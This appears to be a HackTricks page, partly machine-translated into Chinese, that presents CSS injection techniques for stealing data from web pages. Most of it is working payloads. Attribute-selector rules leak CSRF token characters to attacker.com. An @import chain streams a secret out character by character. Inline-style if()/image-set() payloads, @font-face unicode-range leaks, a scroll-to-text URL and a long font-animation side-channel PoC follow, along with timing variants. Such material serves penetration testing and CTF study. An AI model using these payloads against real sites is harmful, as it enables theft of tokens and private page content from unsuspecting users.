CSS Injection
Reading time: 30 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
CSS Injection
Attribute Selector
CSS 选择器被构造来匹配 input
元素的 name
和 value
属性的值。如果 input
元素的 value
属性以特定字符开头,则会加载预定义的外部资源:
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}
然而,这种方法在处理隐藏的 input 元素(type="hidden"
)时存在一个限制,因为隐藏元素不会加载背景。
Bypass for Hidden Elements
为绕过此限制,你可以使用 ~
general sibling combinator 定位后续的兄弟元素。CSS 规则随后会应用于所有跟在隐藏 input 元素之后的兄弟元素,从而触发背景图像的加载:
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
一个利用该技术的实际示例在提供的代码片段中有详细说明。你可以在这里查看。
CSS Injection 的前提条件
为了使 CSS Injection 技术有效,必须满足以下条件:
- Payload Length: CSS 注入向量必须支持足够长的 payloads,以容纳构造的 selectors。
- CSS Re-evaluation: 你需要能够对页面进行框架化(frame the page),以触发使用新生成的 payloads 进行 CSS 的重新评估。
- External Resources: 该技术假定可以使用外部托管的 images。站点的 Content Security Policy (CSP) 可能会限制此类访问。
Blind Attribute Selector
如在这篇文章中解释的,可以将选择器 :has
和 :not
结合使用,即使是来自 blind elements 也能识别内容。当你不知道加载 CSS 注入的网页内部有什么时,这非常有用。
也可以使用这些选择器从多个相同类型的 block 中提取信息,例如:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />
将此与下面的 @import 技术结合,可以通过 使用 CSS injection 在 blind pages 上 exfiltrate 大量 info 与 blind-css-exfiltration.
@import
之前的技术有一些缺点,查看先决条件。你要么需要能够 send multiple links to the victim,要么需要能够 iframe the CSS injection vulnerable page。
不过,还有另一种巧妙的技术使用 CSS @import
来提高该技术的质量。
该方法最早由 Pepe Vila 展示,其工作方式如下:
我们不是像之前那样每次加载同一页面并使用几十个不同的 payloads,而是只加载一次页面,并仅包含一个指向 attackers server 的 import(这就是要发送给受害者的 payload):
@import url("//attacker.com:5001/start?");
- The import is going to receive some CSS script from the attackers and the browser will load it.
- The first part of the CSS script the attacker will send is another
@import
to the attackers server again. - The attackers server won't respond this request yet, as we want to leak some chars and then respond this import with the payload to leak the next ones.
- The second and bigger part of the payload is going to be an attribute selector leakage payload
- This will send to the attackers server the first char of the secret and the last one
- Once the attackers server has received the first and last char of the secret, it will respond the import requested in the step 2.
- The response is going to be exactly the same as the steps 2, 3 and 4, but this time it will try to find the second char of the secret and then penultimate.
The attacker will follow that loop until it manages to leak completely the secret.
You can find the original Pepe Vila's code to exploit this here or you can find almost the same code but commented here.
tip
脚本每次会尝试发现两个字符(从开头和结尾),因为属性选择器允许像下面这样做:
/* value^= to match the beggining of the value*/
input[value^="0"] {
--s0: url(http://localhost:5001/leak?pre=0);
}
/* value$= to match the ending of the value*/
input[value$="f"] {
--e0: url(http://localhost:5001/leak?post=f);
}
这使得脚本可以更快地 leak secret。
warning
Sometimes the script doesn't detect correctly that the prefix + suffix discovered is already the complete flag and it will continue forwards (in the prefix) and backwards (in the suffix) and at some point it will hang.
不用担心,只要检查 output,因为 你可以在那里看到 flag。
Inline-Style CSS Exfiltration (attr() + if() + image-set())
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. It relies on CSS custom properties, the attr() function to read same-element attributes, the new CSS if() conditionals for branching, and image-set() to trigger a network request that encodes the matched value.
warning
Equality comparisons in if() require double quotes for string literals. Single quotes will not match.
- Sink: 控制元素的 style 属性,并确保目标属性在同一元素上(attr() 仅读取同一元素的属性)。
- Read: 将属性复制到一个 CSS 变量:
--val: attr(title)
. - Decide: 使用嵌套条件比较该变量与字符串候选项来选择 URL:
--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))
. - Exfiltrate: 应用
background: image-set(var(--steal))
(或任何会触发请求的属性)以强制请求到选定的端点。
Attempt (does not work; single quotes in comparison):
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
可用的 payload(比较时必须使用双引号):
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
枚举带嵌套条件的属性值:
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
真实演示(探测用户名):
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
注意事项和限制:
- 在研究时适用于基于 Chromium 的浏览器;在其他引擎上的行为可能不同。
- 最适合有限/可枚举的值空间(IDs、flags、短用户名)。在没有外部样式表的情况下窃取任意长度的字符串仍然具有挑战性。
- 任何获取 URL 的 CSS 属性都可用于触发请求(例如 background/image-set、border-image、list-style、cursor、content)。
自动化:一个 Burp Custom Action 可以生成嵌套的 inline-style payloads 来暴力破解属性值:https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
其他选择器
使用 CSS selectors 访问 DOM 部分的其他方法:
.class-to-search:nth-child(2)
:这将在 DOM 中查找具有类 "class-to-search" 的第二个元素。:empty
selector:用于例如 this writeup:
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}
基于错误的 XS-Search
Reference: CSS based Attack: Abusing unicode-range of @font-face , Error-Based XS-Search PoC by @terjanq
总体目的是 从受控端点使用自定义字体 并确保 文本(在本例中,'A')仅在指定资源(favicon.ico
)无法加载时以该字体显示。
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}
#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Custom Font Usage:
- A custom font is defined using the
@font-face
rule within a<style>
tag in the<head>
section. - The font is named
poc
and is fetched from an external endpoint (http://attacker.com/?leak
). - The
unicode-range
property is set toU+0041
, targeting the specific Unicode character 'A'.
- Object Element with Fallback Text:
- An
<object>
element withid="poc0"
is created in the<body>
section. This element tries to load a resource fromhttp://192.168.0.1/favicon.ico
. - The
font-family
for this element is set to'poc'
, as defined in the<style>
section. - If the resource (
favicon.ico
) fails to load, the fallback content (the letter 'A') inside the<object>
tag is displayed. - The fallback content ('A') will be rendered using the custom font
poc
if the external resource cannot be loaded.
Styling Scroll-to-Text Fragment
The :target
pseudo-class is employed to select an element targeted by a URL fragment, as specified in the CSS Selectors Level 4 specification. It's crucial to understand that ::target-text
doesn't match any elements unless the text is explicitly targeted by the fragment.
A security concern arises when attackers exploit the Scroll-to-text fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:
:target::before {
content: url(target.png);
}
在这种情况下,如果页面上存在文本 "Administrator",服务器会请求资源 target.png
,从而表示该文本的存在。这个攻击示例可以通过一个特制的 URL 来执行,该 URL 将注入的 CSS 与 Scroll-to-text fragment 一起嵌入:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Here, the attack manipulates HTML injection to transmit the CSS code, aiming at the specific text "Administrator" through the Scroll-to-text fragment (#:~:text=Administrator
). If the text is found, the indicated resource is loaded, inadvertently signaling its presence to the attacker.
为缓解,应注意以下几点:
-
Constrained STTF Matching: Scroll-to-text Fragment (STTF) is designed to match only words or sentences, thereby limiting its capability to leak arbitrary secrets or tokens.
STTF 设计上仅匹配单词或句子,因此限制了其 leak 任意秘密或 tokens 的能力。 -
Restriction to Top-level Browsing Contexts: STTF operates solely in top-level browsing contexts and does not function within iframes, making any exploitation attempt more noticeable to the user.
STTF 仅在顶层浏览上下文中运行,在 iframe 内无效,这使得任何利用尝试对用户更为明显。 -
Necessity of User Activation: STTF requires a user-activation gesture to operate, meaning exploitations are feasible only through user-initiated navigations. This requirement considerably mitigates the risk of attacks being automated without user interaction. Nevertheless, the blog post's author points out specific conditions and bypasses (e.g., social engineering, interaction with prevalent browser extensions) that might ease the attack's automation.
STTF 需要用户激活手势才能运行,这意味着利用只有通过用户发起的导航才可行。该要求大大降低了在没有用户交互下自动化攻击的风险。不过,博客作者指出了特定条件和绕过方式(例如 social engineering、与常见 browser extensions 的交互),这些可能使攻击自动化更容易。
Awareness of these mechanisms and potential vulnerabilities is key for maintaining web security and safeguarding against such exploitative tactics.
了解这些机制和潜在漏洞对于维护 web 安全并防范此类利用性手段至关重要。
For more information check the original report: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
You can check an exploit using this technique for a CTF here.
@font-face / unicode-range
You can specify external fonts for specific unicode values that will only be gathered if those unicode values are present in the page. For example:
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>
<p id="sensitive-information">AB</p>
htm
当你访问此页面时,Chrome 和 Firefox 会请求 "?A" 和 "?B",因为 sensitive-information 的文本节点包含字符 "A" 和 "B"。但是 Chrome 和 Firefox 不会请求 "?C",因为它不包含 "C"。这意味着我们已能够读取 "A" 和 "B"。
Text node exfiltration (I): ligatures
参考: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
该技术通过利用字体 ligatures(连字)并监测宽度变化,从节点中提取文本。该过程包含若干步骤:
- Creation of Custom Fonts:
- 使用 SVG fonts 创建带有 glyph 的字形,glyph 带有
horiz-adv-x
属性,为表示两个字符序列的字形设置很大的宽度。 - 示例 SVG glyph:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
,其中 "XY" 表示两个字符的序列。 - 然后使用 fontforge 将这些字体转换为 woff 格式。
- Detection of Width Changes:
- 使用 CSS 确保文本不换行(
white-space: nowrap
)并自定义滚动条样式。 - 当水平滚动条以特定样式出现时,作为一个指标(oracle),表明某个特定的 ligature(连字),也就是特定的字符序列,出现在文本中。
- 相关 CSS:
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
- Exploit Process:
- Step 1:为字符对创建具有较大宽度的字体。
- Step 2:利用基于滚动条的技巧检测何时渲染了大宽度字形(字符对的 ligature),从而表明该字符序列存在。
- Step 3:在检测到连字后,生成表示三字符序列的新字形,将检测到的字符对与前后字符组合。
- Step 4:检测三字符连字。
- Step 5:重复此过程,逐步揭示整个文本。
- Optimization:
- 当前使用
<meta refresh=...
的初始化方法并非最优。 - 更高效的方法可能涉及使用 CSS 的
@import
技巧,从而提升 exploit 的性能。
Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)
参考: PoC using Comic Sans by @Cgvwzq & @Terjanq
This trick was released in this Slackers thread。文本节点使用的 charset 可以被 leaked,方法是使用浏览器中预装的默认字体:无需外部或自定义字体。
该思路是利用动画逐步扩展一个 div
的宽度,使得每次一个字符从文本的后缀(suffix)部分移动到前缀(prefix)部分。这个过程将文本有效地拆分为两部分:
- Prefix:起始行。
- Suffix:后续行。
字符的过渡阶段将如下显示:
C
ADB
CA
DB
CAD
B
CADB
在此过渡过程中,使用 unicode-range trick 来识别每个加入前缀的新字符。方法是将字体切换为 Comic Sans,该字体明显比默认字体更高,从而触发垂直滚动条。该滚动条的出现间接表明前缀中出现了一个新字符。
尽管该方法能检测到字符何时首次出现,但不能指出哪个字符被重复,只能表明发生了重复。
tip
基本上,unicode-range 用于检测 char,但因为我们不想加载外部字体,需要找到另一种方法。
当 char 被 找到 时,会将其指定为预装的 Comic Sans 字体,这会让该 char 变大 并 触发滚动条,从而会 leak 被找到的 char。
查看从 PoC 提取的代码:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Text node exfiltration (III): leaking the charset 通过隐藏元素并使用默认字体(不需要外部资产)
Reference: 这在 an unsuccessful solution in this writeup 中有提到
这种情况与前一种非常相似,然而在本例中,使特定 字符比其他字符更大以隐藏某些东西 的目的,是为了隐藏某些元素,比如防止 bot 按下的按钮或者不会被加载的图片。因此我们可以测量该动作(或该动作的缺失),从而判断特定字符是否存在于文本中。
Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)
Reference: 这在 an unsuccessful solution in this writeup 中有提到
在这种情况下,我们可以尝试通过从相同源加载一个伪字体来 leak 某个字符是否存在于文本中:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
如果匹配,字体会从 /static/bootstrap.min.css?q=1
加载。虽然它不会成功加载,但浏览器应该会将其缓存,即使没有缓存,也有 304 not modified 机制,所以相比其他请求,响应应该会更快。
但是,如果缓存响应与非缓存响应之间的时间差不够大,这就没什么用。举例来说,作者提到:不过,通过测试,我发现第一个问题是速度差别不大,第二个问题是 bot 使用了 disk-cache-size=1
标记,这点很周到。
Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (无需外部资源)
Reference: 这在 an unsuccessful solution in this writeup 中有提及。
在这种情况下,当匹配发生时,你可以指定 CSS 来加载数百个伪字体 从相同源。通过这种方式,你可以测量所需时间,并用类似下面的方法判断某个 char 是否出现:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
bot 的代码如下:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
因此,如果字体不匹配,访问 bot 时的响应时间预计约为 30 秒。然而,如果字体匹配,会发送多个请求来获取该字体,导致网络持续活动。结果是满足停止条件并收到响应所需的时间更长。因此,响应时间可用作判断是否存在字体匹配的指标。
References
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
- Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)
- InlineStyleAttributeStealer.bambda (Burp Custom Action)
- PoC page for inline-style exfiltration
- MDN: CSS if() conditional
- MDN: CSS attr() function
- MDN: image-set()
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。